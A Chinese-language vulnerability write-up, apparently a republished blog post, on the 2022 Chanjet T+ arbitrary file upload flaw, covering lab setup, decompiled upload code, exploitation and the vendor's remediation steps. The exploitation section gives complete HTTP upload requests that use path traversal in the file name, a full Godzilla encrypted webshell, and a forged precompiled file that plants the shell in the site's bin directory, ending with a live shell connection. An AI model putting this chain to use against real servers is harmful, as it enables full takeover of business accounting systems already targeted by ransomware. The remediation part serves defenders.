当前位置: 首页 > news >正文

北京专业企业营销网站建设做外贸网站多久更新

北京专业企业营销网站建设,做外贸网站多久更新,舆情分析公司哪家的系统好,wordpress防止cc攻击一、漏洞描述 2022年8月29日和8月30日#xff0c;畅捷通公司紧急发布安全补丁修复了畅捷通T软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞#xff0c;通过绕过系统鉴权#xff0c;在特定配置环境下实现任意文件的上传#xff0c;从而执行任意代码#xff0c;获得…一、漏洞描述 2022年8月29日和8月30日畅捷通公司紧急发布安全补丁修复了畅捷通T软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞通过绕过系统鉴权在特定配置环境下实现任意文件的上传从而执行任意代码获得服务器控制权限。目前已有用户被不法分子利用该漏洞进行勒索病毒攻击的情况出现。 CNVD对该漏洞的综合评级为“高危”。 二、影响范围 漏洞影响的产品和版本 畅捷通T单机版17.0且使用IIS10.0以下版本。 三、环境搭建 https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip 下载并解压文件 进行环境检测 开始检测 检测通过 安装 选择标准版进行安装安装时请关闭杀毒软件 等待安装完成过程中需要配置MSSQL 数据库的。不设置即可 安装完成 四、漏洞审计 根据网上流传的payload找到文件 TPlusStd\WebSite\SM\SetupAccount\Upload.aspx发现该文件为编译的文件 畅捷通整套程序用了预编译直接到根目录的bin下找对应的compiled文件 TPlusStd\WebSite\bin\uploadapp.aspx.ae7ca9bd.compiled ?xml version1.0 encodingutf-8? preserve resultType3 virtualPath/WebSite/App/UploadApp.aspx hash16f32931f filehashcea02207aaa6fee7 flags110000 assemblyApp_Web_uploadapp.aspx.ae7ca9bd typeASP.app_uploadapp_aspxfiledepsfiledep name/WebSite/App/UploadApp.aspx /filedep name/WebSite/App/UploadApp.aspx.cs //filedeps /preserve搜索 App_Web_uploadapp.aspx.ae7ca9bd // CommonPage_SetupAccount_Upload // Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC protected void Page_Load(object sender, EventArgs e) {this.ReadResources();if (base.Request.Files.Count 1){string text images/index.gif;object obj this.ViewState[fileName];if (obj ! null){text obj.ToString();}if (this.File1.PostedFile.ContentLength 204800){base.Response.Write(string.Concat(new string[]{script languagejavascriptalert(,this.PhotoTooLarge,); parent.document.getElementById(myimg).src,text,;/script}));return;}if (this.File1.PostedFile.ContentType ! image/jpeg this.File1.PostedFile.ContentType ! image/bmp this.File1.PostedFile.ContentType ! image/gif this.File1.PostedFile.ContentType ! image/pjpeg){base.Response.Write(string.Concat(new string[]{script languagejavascriptalert(,this.PhotoTypeError,); parent.document.getElementById(myimg).src,text,;/script}));return;}string fileName this.File1.PostedFile.FileName;string text2 fileName.Substring(fileName.LastIndexOf(\\) 1);this.File1.PostedFile.SaveAs(base.Server.MapPath(.) \\images\\ text2);string text3 base.Server.MapPath(.) \\images\\ text2;this.ViewState[fileName] images/ text2;TPContext.Current.Session[ImageName] text3;} }代码大概的意思为上传的文件不大于2M然后判断Content-Type 是否为其中一个类型。然后写入到images 目录中。文件名没有任何过滤。 构造一下上传代码 POST /tplus/SM/SetupAccount/Upload.aspx?preload1 HTTP/1.1 Host: 192.168.154.139 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Cookie: ASP.NET_SessionIdgvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a141662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a141662302093 Connection: close Content-Type: multipart/form-data; boundary----WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Length: 183------WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Disposition: form-data; nameFile1;filename222.aspx Content-Type: image/jpeg1 ------WebKitFormBoundarywwk2ReqGTj7lNYlt--查看images文件中是否有这个文件 发现能够成功上传 五、getshell 用哥斯拉生成一个木马 然后cmd执行 C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v / -p C:\Tools C:\111 -fixednames-p 代表的是你木马的目录。 C:\111 表示生成在那个目录中。 执行完毕后查看C:\111\bin目录 把666.sapx上传到网站根目录 POST /tplus/SM/SetupAccount/Upload.aspx?preload1 HTTP/1.1 Host: 192.168.154.129 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Cookie: ASP.NET_SessionIdgvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a141662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a141662302093 Connection: close Content-Type: multipart/form-data; boundary----WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Length: 1327------WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Disposition: form-data; nameFile1;filename../../../666.aspx Content-Type: image/jpeg% Page LanguageC#%%try{string key 3c6e0b8a9c15224a;byte[] data new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(Context.Request.BinaryRead(Context.Request.ContentLength), 0, Context.Request.ContentLength);if (Context.Session[payload] null){ Context.Session[payload] (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod(Load, new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });}else{ object o ((System.Reflection.Assembly)Context.Session[payload]).CreateInstance(LY); System.IO.MemoryStream outStream new System.IO.MemoryStream();o.Equals(outStream);o.Equals(Context); o.Equals(data);o.ToString();byte[] r outStream.ToArray();outStream.Dispose();Context.Response.BinaryWrite(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length));}}catch(System.Exception){} % ------WebKitFormBoundarywwk2ReqGTj7lNYlt--把这两个文件上传到畅捷通的网站根目录的bin文件夹下 POST /tplus/SM/SetupAccount/Upload.aspx?preload1 HTTP/1.1 Host: 192.168.154.129 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q0.9,en;q0.8 Cookie: ASP.NET_SessionIdgvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a141662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a141662302093 Connection: close Content-Type: multipart/form-data; boundary----WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Length: 502------WebKitFormBoundarywwk2ReqGTj7lNYlt Content-Disposition: form-data; nameFile1;filename../../../bin/666.aspx.cdcab7d2.compiled Content-Type: image/jpeg?xml version1.0 encodingutf-8? preserve resultType3 virtualPath/666.aspx hash88eec7b1a filehashffffcef8fb51b1fb flags110000 assemblyApp_Web_666.aspx.cdcab7d2 typeASP._666_aspxfiledepsfiledep name/666.aspx //filedeps /preserve ------WebKitFormBoundarywwk2ReqGTj7lNYlt--使用哥斯拉连接shell http://192.168.154.129/tplus/666.aspx?preload1 连接成功 六、修复建议 目前畅捷通公司已紧急发布漏洞补丁修复该漏洞CNVD建议受影响的单位和用户立即升级至最新版本 https://www.chanjetvip.com/product/goods 同时请受漏洞影响的单位和用户立即按照以下步骤开展自查和修复工作 1、用户自查步骤 查询本地是否存在website/bin/load.aspx.cdcab7d2.compiled、website/bin/App_Web_load.aspx.cdcab7d2.dll、tplus/Load.aspx文件如存在说明已经中毒须重装系统并安装产品打补丁。 2、未中毒用户请 更新最新产品补丁。安装杀毒软件并及时升级病毒库。升级IIS和Nginx低版本至IIS10.0和Windows 2016。本地安装客户需尽快确认备份文件是否完整以及做了异地备份。云上客户请及时开启镜像功能。未能及时更新补丁的用户可联系畅捷通技术支持采取删除文件等临时防范措施。 3、已中毒用户请 检查服务器是否有做定期快照或备份如有可通过快照或备份恢复数据。联系畅捷通技术支持确认是否具备从备份文件恢复数据的条件及操作方法。 参考链接https://www.o2oxy.cn/4104.html
http://www.sadfv.cn/news/24339/

相关文章:

  • 东莞网站设计品牌泰兴网站建设
  • 关于单位建设网站的申请周口网站开发
  • 返利网站制作学校网站建设哪家好
  • 外贸工具大全网站网页制作范例
  • 长春建网站黑龙江省建设集团有限公司网站
  • 哪里有免费招聘网站文化设计有限公司
  • 视频网站开发方案海口建站软件
  • 银川网站设计建设网站建设程序文件
  • 自己做的网站搜索不到泊头做网站的公司
  • 网络营销推广优化智效云seo
  • 保安网站建设余姚网站如何进行优化
  • 企业静态网站需要备案吗免费网站建设app
  • 网站开发外包费用会计科目看房子的网站
  • 南京app开发公司排名关键词自然排名优化
  • 拼团网站开发网络营销服务的内容
  • 高端网站设计公司排行榜免费发帖平台
  • 做网站横幅技巧制作一个在线收费网站
  • 小学校园网站建设方案工作职责云浮新兴哪有做网站的
  • 塔城地区建设工程信息网站代理厦门网站设计公司
  • 旅游网站开发的意义是什么网站建设企业网站制作平台
  • 个人作品集网站模板惠喵WordPress
  • 网站不能添加图片如何注册网站怎么注册
  • 网站建设7seo站长工具平台
  • 深圳网站建设运营商城网站如何做
  • 企业网站模板带后台简单网页设计成品
  • 兴仁市建设局网站淘宝客网站备案流程
  • 各大企业网站文案vs2015做网站的后端
  • 渭南建站推进门户网站建设工作
  • 个人网站建设心得体会wordpress cosy主题破解
  • 郑州哪有做网站的汉狮app免费下载大全